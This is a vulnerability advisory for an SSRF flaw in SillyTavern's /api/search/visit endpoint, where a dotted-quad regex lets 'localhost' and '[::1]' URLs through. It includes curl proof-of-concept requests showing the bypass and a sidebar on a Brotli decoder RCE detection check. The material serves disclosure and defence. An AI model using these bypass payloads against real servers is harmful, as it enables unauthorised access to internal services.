CVE-2026-34526

EUVD-2026-18444 · Published Apr 1, 2026

SillyTavern: Incomplete IP validation in /api/search/visit allows SSRF via localhost and IPv6

Details

Distinct from CVE-2025-59159 and CVE-2026-26286 (all fixed in v1.16.0). This endpoint is still unpatched.

In src/endpoints/search.js line 419, the hostname is checked against /^\d+\.\d+\.\d+\.\d+$/. This only matches literal dotted-quad IPv4 (e.g. 127.0.0.1, 10.0.0.1). It does not catch:

localhost (hostname, not dotted-quad)
[::1] (IPv6 loopback)
DNS names resolving to internal addresses (e.g. localtest.me -> 127.0.0.1)

A separate port check (urlObj.port !== '') limits exploitation to services on default ports (80/443), making this lower severity than a fully unrestricted SSRF.

PoC

Start SillyTavern v1.16.0 normally
Send requests to compare blocked vs bypassed (requires a valid session cookie or CSRF disabled):

# Blocked — dotted-quad matched by regex
curl -s -o /dev/null -w "%{http_code}" -X POST http://127.0.0.1:8000/api/search/visit \
  -H "Content-Type: application/json" \
  -d '{"url": "http://127.0.0.1/", "html": true}'
# Returns: 400 (blocked)

# Bypassed — "localhost" is not dotted-quad
curl -s -o /dev/null -w "%{http_code}" -X POST http://127.0.0.1:8000/api/search/visit \
  -H "Content-Type: application/json" \
  -d '{"url": "http://localhost/", "html": true}'
# Returns: 500 (passed validation, fetch attempted, ECONNREFUSED because nothing on port 80)

# Bypassed — IPv6 loopback is not dotted-quad
curl -s -o /dev/null -w "%{http_code}" -X POST http://127.0.0.1:8000/api/search/visit \
  -H "Content-Type: application/json" \
  -d '{"url": "http://[::1]/", "html": true}'
# Returns: 500 (passed validation, fetch attempted)

The 400 vs 500 difference confirms localhost and [::1] pass the IP check. The 500 is ECONNREFUSED (nothing listening on port 80), not a validation rejection.

Impact

Server-side request forgery with partial restrictions. An authenticated user can force the server to fetch from internal hosts on default ports (80/443) using hostnames or IPv6 addresses that bypass the IP check. The full response body is returned. Lower severity than a fully unrestricted SSRF due to the port limitation.

Resolution

The issue was addressed in version 1.17.0 by improving IPv6 address validation

Technologies

Sillytavern Sillytavern

Weaknesses

CWE-918

CVSS scores

v3.15.0CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:N/A:N

MITRE ATT&CK

Inferred

Where this vulnerability fits in an attack

ReconImpact

Initial Access

T1190Exploit Public-Facing Application

References

Potentially impacted assets

See if this affects your attack surface

Latest trending attack

Criticalyesterday

Google Brotli decoder - Remote Code Execution via compressed requests (Exploitation Check)

This control is the second step of the Patrowl response to CVE-2026-111497 (Node2Shell). It complements the first control of 22 October 2026, which focused on the Node.js runtime, and does not replace it. Why a second control CVE-2026-111497 is an out-of-bounds write in the Google Brotli decoder, the library that decompresses Brotli ("br") data. It was first published as a Node.js vulnerability, because Node.js bundles this decoder. Later publications showed that the flaw is in the library itself. Every product that embeds an affected version of the decoder is concerned, whatever its language or vendor. A public proof of concept demonstrates code execution. Any server that decompresses request bodies sent with "Content-Encoding: br" exposes the decoder to unauthenticated attackers. Known cases include Express 5 and NestJS 11 on Node.js, Koa and Fastify setups, Bun, Envoy and Istio with request decompression enabled, and any application or reverse proxy that decodes Brotli request bodies with an affected library. The flaw also works in the other direction. A malicious server can compromise an unpatched client that decodes a Brotli response, for example Node.js fetch(), Python clients (requests, httpx, aiohttp, Scrapy) with the Brotli or brotlicffi package, or libcurl builds with Brotli support. What this control checks Patrowl sends small, valid Brotli-compressed requests to each asset and observes whether the server decodes them. The check does not depend on the technology: it detects the behaviour, whatever the stack behind it. These requests are what any legitimate client could send. They never reach the vulnerable code path and cannot affect the availability of the service. How to read the result Potentially impacted means the asset decodes Brotli request bodies: the attack surface is exposed. It does not confirm that the asset is vulnerable. The version of the Brotli decoder in use is not visible from the outside. This check covers applications that parse request bodies on their root path. A Not impacted result does not rule out exposure on other routes, nor on the client side. Checking the versions on the servers remains the only exhaustive verification. Affected and fixed versions Google Brotli 1.0.3 to 1.2.0 are affected, fixed in 1.0.10, 1.1.1 and 1.2.1. Fixed releases of the main products embedding it: Node.js 22.23.4, 24.22.1 and 26.12.1 (end-of-life lines 20.x and older and 25.x receive no fix), Bun 1.4.4, Envoy 1.37.8, 1.38.6, 1.39.3 and 1.40.0, Istio 1.29.9, 1.30.6 and 1.31.2, Python Brotli 1.2.1 and brotlicffi 1.2.1.0. Products that link against the system library depend on the Brotli package of the Linux distribution. Recommendations Update every component that embeds the Brotli decoder (only real fix). Start with the assets flagged by this control. Restart the processes after the update. Rebuild containers, single-executable applications and appliances that bundle an affected runtime or library. Reduce the exposure until the update is deployed. Reject requests with "Content-Encoding: br" at the reverse proxy, load balancer or WAF, case-insensitively and including lists such as "gzip, br". On Envoy and Istio, disable request decompression for Brotli. Review outbound calls. List the features that fetch content from servers you do not control, and patch the services that host them first.